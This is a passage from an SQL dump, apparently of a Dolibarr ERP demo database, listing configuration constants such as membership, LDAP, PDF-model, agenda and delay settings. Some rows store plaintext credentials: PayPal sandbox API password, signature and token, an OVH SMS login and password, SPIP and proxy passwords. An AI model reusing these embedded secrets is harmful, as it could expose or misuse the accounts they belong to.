11:17:59'),(50,'ADHERENT_MAILMAN_SERVER',1,'lists.domain.com','chaine',0,'Serveur hebergeant les interfaces d Admin des listes mailman','2012-07-08 11:17:59'),(51,'ADHERENT_MAILMAN_LISTS_COTISANT',1,'','chaine',0,'Liste(s) auxquelles les nouveaux cotisants sont inscris automatiquement','2012-07-08 11:17:59'),(52,'ADHERENT_USE_SPIP',1,'0','yesno',0,'Utilisation de SPIP ?','2012-07-08 11:17:59'),(53,'ADHERENT_USE_SPIP_AUTO',1,'0','yesno',0,'Utilisation de SPIP automatiquement','2012-07-08 11:17:59'),(54,'ADHERENT_SPIP_USER',1,'user','chaine',0,'user spip','2012-07-08 11:17:59'),(55,'ADHERENT_SPIP_PASS',1,'pass','chaine',0,'Pass de connection','2012-07-08 11:17:59'),(56,'ADHERENT_SPIP_SERVEUR',1,'localhost','chaine',0,'serveur spip','2012-07-08 11:17:59'),(57,'ADHERENT_SPIP_DB',1,'spip','chaine',0,'db spip','2012-07-08 11:17:59'),(58,'ADHERENT_CARD_HEADER_TEXT',1,'%ANNEE%','chaine',0,'Texte imprime sur le haut de la carte adherent','2012-07-08 11:17:59'),(59,'ADHERENT_CARD_FOOTER_TEXT',1,'Association AZERTY','chaine',0,'Texte imprime sur le bas de la carte adherent','2012-07-08 11:17:59'),(61,'FCKEDITOR_ENABLE_USER',1,'1','yesno',0,'Activation fckeditor sur notes utilisateurs','2012-07-08 11:17:59'),(62,'FCKEDITOR_ENABLE_SOCIETE',1,'1','yesno',0,'Activation fckeditor sur notes societe','2012-07-08 11:17:59'),(63,'FCKEDITOR_ENABLE_PRODUCTDESC',1,'1','yesno',0,'Activation fckeditor sur notes produits','2012-07-08 11:17:59'),(64,'FCKEDITOR_ENABLE_MEMBER',1,'1','yesno',0,'Activation fckeditor sur notes adherent','2012-07-08 11:17:59'),(65,'FCKEDITOR_ENABLE_MAILING',1,'1','yesno',0,'Activation fckeditor sur emailing','2012-07-08 11:17:59'),(67,'DON_ADDON_MODEL',1,'html_cerfafr','chaine',0,'','2012-07-08 11:18:00'),(68,'PROPALE_ADDON',1,'mod_propale_marbre','chaine',0,'','2012-07-08 11:18:00'),(69,'PROPALE_ADDON_PDF',1,'azur','chaine',0,'','2012-07-08 11:18:00'),(70,'COMMANDE_ADDON',1,'mod_commande_marbre','chaine',0,'','2012-07-08 11:18:00'),(71,'COMMANDE_ADDON_PDF',1,'einstein','chaine',0,'','2012-07-08 11:18:00'),(72,'COMMANDE_SUPPLIER_ADDON',1,'mod_commande_fournisseur_muguet','chaine',0,'','2012-07-08 11:18:00'),(73,'COMMANDE_SUPPLIER_ADDON_PDF',1,'muscadet','chaine',0,'','2012-07-08 11:18:00'),(74,'EXPEDITION_ADDON',1,'enlevement','chaine',0,'','2012-07-08 11:18:00'),(76,'FICHEINTER_ADDON',1,'pacific','chaine',0,'','2012-07-08 11:18:00'),(77,'FICHEINTER_ADDON_PDF',1,'soleil','chaine',0,'','2012-07-08 11:18:00'),(79,'FACTURE_ADDON_PDF',1,'crabe','chaine',0,'','2012-07-08 11:18:00'),(80,'PROPALE_VALIDITY_DURATION',1,'15','chaine',0,'Durée de validitée des propales','2012-07-08 11:18:00'),(230,'COMPANY_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/thirdparties','chaine',0,NULL,'2012-07-08 11:26:20'),(238,'LIVRAISON_ADDON_PDF',1,'typhon','chaine',0,'Nom du gestionnaire de generation des commandes en PDF','2012-07-08 11:26:27'),(239,'DELIVERY_ADDON_NUMBER',1,'mod_delivery_jade','chaine',0,'Nom du gestionnaire de numerotation des bons de livraison','2020-12-10 12:24:40'),(245,'FACTURE_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/invoices','chaine',0,NULL,'2012-07-08 11:28:53'),(249,'DON_FORM',1,'html_cerfafr','chaine',0,'Nom du gestionnaire de formulaire de dons','2017-09-06 16:12:22'),(254,'ADHERENT_BANK_ACCOUNT',1,'','chaine',0,'ID du Compte banquaire utilise','2012-07-08 11:29:05'),(255,'ADHERENT_BANK_CATEGORIE',1,'','chaine',0,'ID de la categorie banquaire des cotisations','2012-07-08 11:29:05'),(256,'ADHERENT_ETIQUETTE_TYPE',1,'L7163','chaine',0,'Type d etiquette (pour impression de planche d etiquette)','2012-07-08 11:29:05'),(269,'PROJECT_ADDON_PDF',1,'baleine','chaine',0,'Nom du gestionnaire de generation des projets en PDF','2012-07-08 11:29:33'),(270,'PROJECT_ADDON',1,'mod_project_simple','chaine',0,'Nom du gestionnaire de numerotation des projets','2012-07-08 11:29:33'),(369,'EXPEDITION_ADDON_PDF',1,'merou','chaine',0,'','2012-07-08 22:58:07'),(377,'FACTURE_ADDON',1,'mod_facture_terre','chaine',0,'','2012-07-08 23:08:12'),(380,'ADHERENT_CARD_TEXT',1,'%TYPE% n° %ID%\r\n%PRENOM% %NOM%\r\n<%EMAIL%>\r\n%ADRESSE%\r\n%CP% %VILLE%\r\n%PAYS%','',0,'Texte imprime sur la carte adherent','2012-07-08 23:14:46'),(381,'ADHERENT_CARD_TEXT_RIGHT',1,'aaa','',0,'','2012-07-08 23:14:55'),(386,'STOCK_CALCULATE_ON_SHIPMENT',1,'1','chaine',0,'','2012-07-08 23:23:21'),(387,'STOCK_CALCULATE_ON_SUPPLIER_DISPATCH_ORDER',1,'1','chaine',0,'','2012-07-08 23:23:26'),(392,'MAIN_AGENDA_XCAL_EXPORTKEY',1,'dolibarr','chaine',0,'','2012-07-08 23:27:50'),(393,'MAIN_AGENDA_EXPORT_PAST_DELAY',1,'100','chaine',0,'','2012-07-08 23:27:50'),(610,'CASHDESK_ID_THIRDPARTY',1,'7','chaine',0,'','2012-07-11 17:08:18'),(611,'CASHDESK_ID_BANKACCOUNT_CASH',1,'3','chaine',0,'','2012-07-11 17:08:18'),(612,'CASHDESK_ID_BANKACCOUNT_CHEQUE',1,'1','chaine',0,'','2012-07-11 17:08:18'),(613,'CASHDESK_ID_BANKACCOUNT_CB',1,'1','chaine',0,'','2012-07-11 17:08:18'),(614,'CASHDESK_ID_WAREHOUSE',1,'2','chaine',0,'','2012-07-11 17:08:18'),(660,'LDAP_USER_DN',1,'ou=users,dc=my-domain,dc=com','chaine',0,NULL,'2012-07-18 10:25:27'),(661,'LDAP_GROUP_DN',1,'ou=groups,dc=my-domain,dc=com','chaine',0,NULL,'2012-07-18 10:25:27'),(662,'LDAP_FILTER_CONNECTION',1,'&(objectClass=user)(objectCategory=person)','chaine',0,NULL,'2012-07-18 10:25:27'),(663,'LDAP_FIELD_LOGIN',1,'uid','chaine',0,NULL,'2012-07-18 10:25:27'),(664,'LDAP_FIELD_FULLNAME',1,'cn','chaine',0,NULL,'2012-07-18 10:25:27'),(665,'LDAP_FIELD_NAME',1,'sn','chaine',0,NULL,'2012-07-18 10:25:27'),(666,'LDAP_FIELD_FIRSTNAME',1,'givenname','chaine',0,NULL,'2012-07-18 10:25:27'),(667,'LDAP_FIELD_MAIL',1,'mail','chaine',0,NULL,'2012-07-18 10:25:27'),(668,'LDAP_FIELD_PHONE',1,'telephonenumber','chaine',0,NULL,'2012-07-18 10:25:27'),(669,'LDAP_FIELD_FAX',1,'facsimiletelephonenumber','chaine',0,NULL,'2012-07-18 10:25:27'),(670,'LDAP_FIELD_MOBILE',1,'mobile','chaine',0,NULL,'2012-07-18 10:25:27'),(671,'LDAP_SERVER_TYPE',1,'openldap','chaine',0,'','2012-07-18 10:25:46'),(672,'LDAP_SERVER_PROTOCOLVERSION',1,'3','chaine',0,'','2012-07-18 10:25:47'),(673,'LDAP_SERVER_HOST',1,'localhost','chaine',0,'','2012-07-18 10:25:47'),(674,'LDAP_SERVER_PORT',1,'389','chaine',0,'','2012-07-18 10:25:47'),(675,'LDAP_SERVER_USE_TLS',1,'0','chaine',0,'','2012-07-18 10:25:47'),(676,'LDAP_SYNCHRO_ACTIVE',1,'dolibarr2ldap','chaine',0,'','2012-07-18 10:25:47'),(677,'LDAP_CONTACT_ACTIVE',1,'1','chaine',0,'','2012-07-18 10:25:47'),(678,'LDAP_MEMBER_ACTIVE',1,'1','chaine',0,'','2012-07-18 10:25:47'),(974,'MAIN_MODULE_WORKFLOW_TRIGGERS',1,'1','chaine',0,NULL,'2013-07-18 18:02:20'),(975,'WORKFLOW_PROPAL_AUTOCREATE_ORDER',1,'1','chaine',0,'','2013-07-18 18:02:24'),(980,'PRELEVEMENT_NUMERO_NATIONAL_EMETTEUR',1,'1234567','chaine',0,'','2013-07-18 18:05:50'),(983,'FACTURE_RIB_NUMBER',1,'1','chaine',0,'','2013-07-18 18:35:14'),(984,'FACTURE_CHQ_NUMBER',1,'1','chaine',0,'','2013-07-18 18:35:14'),(1016,'GOOGLE_DUPLICATE_INTO_GCAL',1,'1','chaine',0,'','2013-07-18 21:40:20'),(1152,'SOCIETE_CODECLIENT_ADDON',1,'mod_codeclient_monkey','chaine',0,'','2013-07-29 20:50:02'),(1240,'MAIN_LOGEVENTS_USER_LOGIN',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1241,'MAIN_LOGEVENTS_USER_LOGIN_FAILED',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1242,'MAIN_LOGEVENTS_USER_LOGOUT',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1243,'MAIN_LOGEVENTS_USER_CREATE',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1244,'MAIN_LOGEVENTS_USER_MODIFY',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1245,'MAIN_LOGEVENTS_USER_NEW_PASSWORD',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1246,'MAIN_LOGEVENTS_USER_ENABLEDISABLE',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1247,'MAIN_LOGEVENTS_USER_DELETE',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1248,'MAIN_LOGEVENTS_GROUP_CREATE',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1249,'MAIN_LOGEVENTS_GROUP_MODIFY',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1250,'MAIN_LOGEVENTS_GROUP_DELETE',1,'1','chaine',0,'','2013-07-29 21:05:01'),(1251,'MAIN_BOXES_MAXLINES',1,'5','',0,'','2013-07-29 21:05:42'),(1482,'EXPEDITION_ADDON_NUMBER',1,'mod_expedition_safor','chaine',0,'Nom du gestionnaire de numerotation des expeditions','2013-08-05 17:53:11'),(1490,'CONTRACT_ADDON',1,'mod_contract_serpis','chaine',0,'Nom du gestionnaire de numerotation des contrats','2013-08-05 18:11:58'),(1677,'COMMANDE_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/orders','chaine',0,NULL,'2014-12-08 13:11:02'),(1724,'PROPALE_ADDON_PDF_ODT_PATH',1,'DOL_DATA_ROOT/doctemplates/proposals','chaine',0,NULL,'2014-12-08 13:17:14'),(1730,'OPENSTREETMAP_ENABLE_MAPS',1,'1','chaine',0,'','2014-12-08 13:22:47'),(1731,'OPENSTREETMAP_ENABLE_MAPS_CONTACTS',1,'1','chaine',0,'','2014-12-08 13:22:47'),(1732,'OPENSTREETMAP_ENABLE_MAPS_MEMBERS',1,'1','chaine',0,'','2014-12-08 13:22:47'),(1733,'OPENSTREETMAP_MAPS_ZOOM_LEVEL',1,'15','chaine',0,'','2014-12-08 13:22:47'),(1742,'MAIN_MAIL_EMAIL_FROM',2,'dolibarr-robot@domain.com','chaine',0,'EMail emetteur pour les emails automatiques Dolibarr','2014-12-08 14:08:14'),(1743,'MAIN_MENU_STANDARD',2,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs internes','2015-02-11 19:43:54'),(1744,'MAIN_MENUFRONT_STANDARD',2,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs externes','2015-02-11 19:43:54'),(1745,'MAIN_MENU_SMARTPHONE',2,'iphone_backoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs internes','2014-12-08 14:08:14'),(1746,'MAIN_MENUFRONT_SMARTPHONE',2,'iphone_frontoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs externes','2014-12-08 14:08:14'),(1747,'MAIN_THEME',2,'eldy','chaine',0,'Default theme','2014-12-08 14:08:14'),(1748,'MAIN_DELAY_ACTIONS_TODO',2,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur actions planifiées non réalisées','2014-12-08 14:08:14'),(1749,'MAIN_DELAY_ORDERS_TO_PROCESS',2,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes clients non traitées','2014-12-08 14:08:14'),(1750,'MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS',2,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes fournisseurs non traitées','2014-12-08 14:08:14'),(1751,'MAIN_DELAY_PROPALS_TO_CLOSE',2,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales à cloturer','2014-12-08 14:08:14'),(1752,'MAIN_DELAY_PROPALS_TO_BILL',2,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales non facturées','2014-12-08 14:08:14'),(1753,'MAIN_DELAY_CUSTOMER_BILLS_UNPAYED',2,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures client impayées','2014-12-08 14:08:14'),(1754,'MAIN_DELAY_SUPPLIER_BILLS_TO_PAY',2,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures fournisseur impayées','2014-12-08 14:08:14'),(1755,'MAIN_DELAY_NOT_ACTIVATED_SERVICES',2,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services à activer','2014-12-08 14:08:14'),(1756,'MAIN_DELAY_RUNNING_SERVICES',2,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services expirés','2014-12-08 14:08:14'),(1757,'MAIN_DELAY_MEMBERS',2,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur cotisations adhérent en retard','2014-12-08 14:08:14'),(1758,'MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE',2,'62','chaine',0,'Tolérance de retard avant alerte (en jours) sur rapprochements bancaires à faire','2014-12-08 14:08:14'),(1759,'MAILING_EMAIL_FROM',2,'dolibarr@domain.com','chaine',0,'EMail emmetteur pour les envois d emailings','2014-12-08 14:08:14'),(1760,'MAIN_INFO_SOCIETE_COUNTRY',3,'1:FR:France','chaine',0,'','2015-02-26 21:56:28'),(1761,'MAIN_INFO_SOCIETE_NOM',3,'bbb','chaine',0,'','2014-12-08 14:08:20'),(1762,'MAIN_INFO_SOCIETE_STATE',3,'0','chaine',0,'','2015-02-27 14:20:27'),(1763,'MAIN_MONNAIE',3,'EUR','chaine',0,'','2014-12-08 14:08:20'),(1764,'MAIN_LANG_DEFAULT',3,'auto','chaine',0,'','2014-12-08 14:08:20'),(1765,'MAIN_MAIL_EMAIL_FROM',3,'dolibarr-robot@domain.com','chaine',0,'EMail emetteur pour les emails automatiques Dolibarr','2014-12-08 14:08:20'),(1766,'MAIN_MENU_STANDARD',3,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs internes','2015-02-11 19:43:54'),(1767,'MAIN_MENUFRONT_STANDARD',3,'eldy_menu.php','chaine',0,'Module de gestion de la barre de menu du haut pour utilisateurs externes','2015-02-11 19:43:54'),(1768,'MAIN_MENU_SMARTPHONE',3,'iphone_backoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs internes','2014-12-08 14:08:20'),(1769,'MAIN_MENUFRONT_SMARTPHONE',3,'iphone_frontoffice.php','chaine',0,'Module de gestion de la barre de menu smartphone pour utilisateurs externes','2014-12-08 14:08:20'),(1770,'MAIN_THEME',3,'eldy','chaine',0,'Default theme','2014-12-08 14:08:20'),(1771,'MAIN_DELAY_ACTIONS_TODO',3,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur actions planifiées non réalisées','2014-12-08 14:08:20'),(1772,'MAIN_DELAY_ORDERS_TO_PROCESS',3,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes clients non traitées','2014-12-08 14:08:20'),(1773,'MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS',3,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur commandes fournisseurs non traitées','2014-12-08 14:08:20'),(1774,'MAIN_DELAY_PROPALS_TO_CLOSE',3,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales à cloturer','2014-12-08 14:08:20'),(1775,'MAIN_DELAY_PROPALS_TO_BILL',3,'7','chaine',0,'Tolérance de retard avant alerte (en jours) sur propales non facturées','2014-12-08 14:08:20'),(1776,'MAIN_DELAY_CUSTOMER_BILLS_UNPAYED',3,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures client impayées','2014-12-08 14:08:20'),(1777,'MAIN_DELAY_SUPPLIER_BILLS_TO_PAY',3,'2','chaine',0,'Tolérance de retard avant alerte (en jours) sur factures fournisseur impayées','2014-12-08 14:08:20'),(1778,'MAIN_DELAY_NOT_ACTIVATED_SERVICES',3,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services à activer','2014-12-08 14:08:20'),(1779,'MAIN_DELAY_RUNNING_SERVICES',3,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services expirés','2014-12-08 14:08:20'),(1780,'MAIN_DELAY_MEMBERS',3,'31','chaine',0,'Tolérance de retard avant alerte (en jours) sur cotisations adhérent en retard','2014-12-08 14:08:20'),(1781,'MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE',3,'62','chaine',0,'Tolérance de retard avant alerte (en jours) sur rapprochements bancaires à faire','2014-12-08 14:08:20'),(1782,'MAILING_EMAIL_FROM',3,'dolibarr@domain.com','chaine',0,'EMail emmetteur pour les envois d emailings','2014-12-08 14:08:20'),(1803,'SYSLOG_FILE',1,'DOL_DATA_ROOT/dolibarr.log','chaine',0,'','2014-12-08 14:15:08'),(1804,'SYSLOG_HANDLERS',1,'[\"mod_syslog_file\"]','chaine',0,'','2014-12-08 14:15:08'),(1805,'MAIN_MODULE_SKINCOLOREDITOR',3,'1',NULL,0,NULL,'2014-12-08 14:35:40'),(1922,'PAYPAL_API_SANDBOX',1,'1','chaine',0,'','2014-12-12 12:11:05'),(1923,'PAYPAL_API_USER',1,'seller_1355312017_biz_api1.mydomain.com','chaine',0,'','2014-12-12 12:11:05'),(1924,'PAYPAL_API_PASSWORD',1,'1355312040','chaine',0,'','2014-12-12 12:11:05'),(1925,'PAYPAL_API_SIGNATURE',1,'ABCDEFWBzvfn0q5iNmbuiDv1y.3EAXIMWyl4C5KvDReR9HDwwAd6dQ4Q','chaine',0,'','2014-12-12 12:11:05'),(1926,'PAYPAL_API_INTEGRAL_OR_PAYPALONLY',1,'integral','chaine',0,'','2014-12-12 12:11:05'),(1927,'PAYPAL_SECURITY_TOKEN',1,'50c82fab36bb3b6aa83e2a50691803b2','chaine',0,'','2014-12-12 12:11:05'),(1928,'PAYPAL_SECURITY_TOKEN_UNIQUE',1,'0','chaine',0,'','2014-12-12 12:11:05'),(1929,'PAYPAL_ADD_PAYMENT_URL',1,'1','chaine',0,'','2014-12-12 12:11:05'),(1980,'MAIN_PDF_FORMAT',1,'EUA4','chaine',0,'','2014-12-12 19:58:05'),(1981,'MAIN_PROFID1_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1982,'MAIN_PROFID2_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1983,'MAIN_PROFID3_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1984,'MAIN_PROFID4_IN_ADDRESS',1,'0','chaine',0,'','2014-12-12 19:58:05'),(1985,'MAIN_GENERATE_DOCUMENTS_WITHOUT_VAT',1,'0','chaine',0,'','2014-12-12 19:58:05'),(2835,'MAIN_USE_CONNECT_TIMEOUT',1,'10','chaine',0,'','2015-01-16 19:28:50'),(2836,'MAIN_USE_RESPONSE_TIMEOUT',1,'30','chaine',0,'','2015-01-16 19:28:50'),(2837,'MAIN_PROXY_USE',1,'0','chaine',0,'','2015-01-16 19:28:50'),(2838,'MAIN_PROXY_HOST',1,'localhost','chaine',0,'','2015-01-16 19:28:50'),(2839,'MAIN_PROXY_PORT',1,'8080','chaine',0,'','2015-01-16 19:28:50'),(2840,'MAIN_PROXY_USER',1,'aaa','chaine',0,'','2015-01-16 19:28:50'),(2841,'MAIN_PROXY_PASS',1,'bbb','chaine',0,'','2015-01-16 19:28:50'),(2848,'OVHSMS_NICK',1,'BN196-OVH','chaine',0,'','2015-01-16 19:32:36'),(2849,'OVHSMS_PASS',1,'bigone-10','chaine',0,'','2015-01-16 19:32:36'),(2850,'OVHSMS_SOAPURL',1,'https://www.ovh.com/soapi/soapi-re-1.55.wsdl','chaine',0,'','2015-01-16 19:32:36'),(2854,'THEME_ELDY_RGB',1,'bfbf00','chaine',0,'','2015-01-18 10:02:53'),(2855,'THEME_ELDY_ENABLE_PERSONALIZED',1,'0','chaine',0,'','2015-01-18 10:02:55'),(2858,'MAIN_SESSION_TIMEOUT',1,'2000','chaine',0,'','2015-01-19 17:01:53'),(2867,'FACSIM_ADDON',1,'mod_facsim_alcoy','chaine',0,'','2015-01-19 17:16:25'),(2868,'POS_SERVICES',1,'0','chaine',0,'','2015-01-19 17:16:51'),(2869,'POS_USE_TICKETS',1,'1','chaine',0,'','2015-01-19 17:16:51'),(2870,'POS_MAX_TTC',1,'100','chaine',0,'','2015-01-19 17:16:51'),(3190,'MAIN_MODULE_HOLIDAY',2,'1',NULL,0,NULL,'2015-02-01 08:52:34'),(3195,'INVOICE_SUPPLIER_ADDON_PDF',1,'canelle','chaine',0,'','2015-02-10 19:50:27'),(3199,'MAIN_FORCE_RELOAD_PAGE',1,'1','chaine',0,NULL,'2015-02-12 16:22:55'),(3223,'OVH_THIRDPARTY_IMPORT',1,'2','chaine',0,'','2015-02-13 16:20:18'),(3409,'AGENDA_USE_EVENT_TYPE',1,'1','chaine',0,'','2015-02-27 18:12:24'),(3886,'MAIN_REMOVE_INSTALL_WARNING',1,'1','chaine',1,'','2015-03-02 18:32:50'),(4013,'MAIN_DELAY_ACTIONS_TODO',1,'7','chaine',0,'','2015-03-06 08:59:12'),(4014,'MAIN_DELAY_PROPALS_TO_CLOSE',1,'31','chaine',0,'','2015-03-06 08:59:12'),(4015,'MAIN_DELAY_PROPALS_TO_BILL',1,'7','chaine',0,'','2015-03-06 08:59:12'),(4016,'MAIN_DELAY_ORDERS_TO_PROCESS',1,'2','chaine',0,'','2015-03-06 08:59:12'),(4017,'MAIN_DELAY_CUSTOMER_BILLS_UNPAYED',1,'31','chaine',0,'','2015-03-06 08:59:12'),(4018,'MAIN_DELAY_SUPPLIER_ORDERS_TO_PROCESS',1,'7','chaine',0,'','2015-03-06 08:59:12'),(4019,'MAIN_DELAY_SUPPLIER_BILLS_TO_PAY',1,'2','chaine',0,'','2015-03-06 08:59:12'),(4020,'MAIN_DELAY_RUNNING_SERVICES',1,'-15','chaine',0,'','2015-03-06 08:59:12'),(4021,'MAIN_DELAY_TRANSACTIONS_TO_CONCILIATE',1,'62','chaine',0,'','2015-03-06 08:59:13'),(4022,'MAIN_DELAY_MEMBERS',1,'31','chaine',0,'','2015-03-06 08:59:13'),(4023,'MAIN_DISABLE_METEO',1,'0','chaine',0,'','2015-03-06 08:59:13'),(4044,'ADHERENT_VAT_FOR_SUBSCRIPTIONS',1,'0','',0,'','2015-03-06 16:06:38'),(4047,'ADHERENT_BANK_USE',1,'bankviainvoice','',0,'','2015-03-06 16:12:30'),(4049,'PHPSANE_SCANIMAGE',1,'/usr/bin/scanimage','chaine',0,'','2015-03-06 21:54:13'),(4050,'PHPSANE_PNMTOJPEG',1,'/usr/bin/pnmtojpeg','chaine',0,'','2015-03-06 21:54:13'),(4051,'PHPSANE_PNMTOTIFF',1,'/usr/bin/pnmtotiff','chaine',0,'','2015-03-06 21:54:13'),(4052,'PHPSANE_OCR',1,'/usr/bin/gocr','chaine',0,'','2015-03-06 21:54:13'),(4548,'ECM_AUTO_TREE_ENABLED',1,'1','chaine',0,'','2015-03-10 15:57:21'),(4579,'MAIN_MODULE_AGENDA',2,'1',NULL,0,NULL,'2015-03-13 15:29:19'),(4580,'MAIN_AGENDA_ACTIONAUTO_COMPANY_CREATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4581,'MAIN_AGENDA_ACTIONAUTO_CONTRACT_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4582,'MAIN_AGENDA_ACTIONAUTO_PROPAL_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4583,'MAIN_AGENDA_ACTIONAUTO_PROPAL_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4584,'MAIN_AGENDA_ACTIONAUTO_ORDER_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4585,'MAIN_AGENDA_ACTIONAUTO_ORDER_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4586,'MAIN_AGENDA_ACTIONAUTO_BILL_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4587,'MAIN_AGENDA_ACTIONAUTO_BILL_PAYED',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4588,'MAIN_AGENDA_ACTIONAUTO_BILL_CANCEL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4589,'MAIN_AGENDA_ACTIONAUTO_BILL_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4590,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4591,'MAIN_AGENDA_ACTIONAUTO_BILL_SUPPLIER_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4592,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_VALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4593,'MAIN_AGENDA_ACTIONAUTO_SHIPPING_SENTBYMAIL',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4594,'MAIN_AGENDA_ACTIONAUTO_BILL_UNVALIDATE',2,'1','chaine',0,NULL,'2015-03-13 15:29:19'),(4688,'GOOGLE_ENABLE_AGENDA',2,'1','chaine',0,'','2015-03-13 15:36:29'),(4689,'GOOGLE_AGENDA_NAME1',2,'eldy','chaine',0,'','2015-03-13 15:36:29'),(4690,'GOOGLE_AGENDA_SRC1',2,'eldy10@mail.com','chaine',0,'','2015-03-13 15:36:29'),(4691,'GOOGLE_AGENDA_COLOR1',2,'BE6D00','chaine',0,'','2015-03-13 15:36:29'),(4692,'GOOGLE_AGENDA_COLOR2',2,'7A367A','chaine',0,'','2015-03-13 15:36:29'),(4693,'GOOGLE_AGENDA_COLOR3',2,'7A367A','chaine',0,'','2015-03-13 15:36:29'),(4694,'GOOGLE_AGENDA_COLOR4',2,'7A367A','chaine',0,'','2015-03-13 15:36:29'),(4695,'GOOGLE_AGENDA_COLOR5',2,'7A367A','chaine',0,'','2015-03-13 15:36:29'),(4696,'GOOGLE_AGENDA_TIMEZONE',2,'Europe/Paris','chaine',0,'','2015-03-13 15:36:29'),(4697,'GOOGLE_AGENDA_NB',2,'5','chaine',0,'','2015-03-13 15:36:29'),(4725,'SOCIETE_CODECLIENT_ADDON',2,'mod_codeclient_leopard','chaine',0,'Module to control third parties codes','2015-03-13 20:21:35'),(4726,'SOCIETE_CODECOMPTA_ADDON',2,'mod_codecompta_panicum','chaine',0,'Module to control third parties codes','2015-03-13 20:21:35'),(4727,'SOCIETE_FISCAL_MONTH_START',2,'','chaine',0,'Mettre le numero du mois du debut d\\\'annee fiscale, ex: 9 pour septembre','2015-03-13 20:21:35'),(4728,'MAIN_SEARCHFORM_SOCIETE',2,'1','yesno',0,'Show form for quick company search','2015-03-13 20:21:35'),(4729,'MAIN_SEARCHFORM_CONTACT',2,'1','yesno',0,'Show form for quick contact search','2015-03-13 20:21:35'),(4730,'COMPANY_ADDON_PDF_ODT_PATH',2,'DOL_DATA_ROOT/doctemplates/thirdparties','chaine',0,NULL,'2015-03-13 20:21:35'),(4743,'MAIN_MODULE_CLICKTODIAL',2,'1',NULL,0,NULL,'2015-03-13 20:30:28'),(4744,'MAIN_MODULE_NOTIFICATION',2,'1',NULL,0,NULL,'2015-03-13 20:30:34'),(4745,'MAIN_MODULE_WEBSERVICES',2,'1',NULL,0,NULL,'2015-03-13 20:30:41'),(4746,'MAIN_MODULE_PROPALE',2,'1',NULL,0,NULL,'2015-03-13 20:32:38'),(4747,'PROPALE_ADDON_PDF',2,'azur','chaine',0,'Nom du gestionnaire de generation des propales en PDF','2015-03-13 20:32:38'),(4748,'PROPALE_ADDON',2,'mod_propale_marbre','chaine',0,'Nom du gestionnaire de numerotation des propales','2015-03-13 20:32:38'),(4749,'PROPALE_VALIDITY_DURATION',2,'15','chaine',0,'Duration of validity of business proposals','2015-03-13 20:32:38'),(4750,'PROPALE_ADDON_PDF_ODT_PATH',2,'DOL_DATA_ROOT/doctemplates/proposals','chaine',0,NULL,'2015-03-13 20:32:38'),(4752,'MAIN_MODULE_TAX',2,'1',NULL,0,NULL,'2015-03-13 20:32:47'),(4753,'MAIN_MODULE_DON',2,'1',NULL,0,NULL,'2015-03-13 20:32:54'),(4754,'DON_ADDON_MODEL',2,'html_cerfafr','chaine',0,'Nom du gestionnaire de generation de recu de dons','2015-03-13 20:32:54'),(4755,'POS_USE_TICKETS',2,'1','chaine',0,'','2015-03-13 20:33:09'),(4756,'POS_MAX_TTC',2,'100','chaine',0,'','2015-03-13 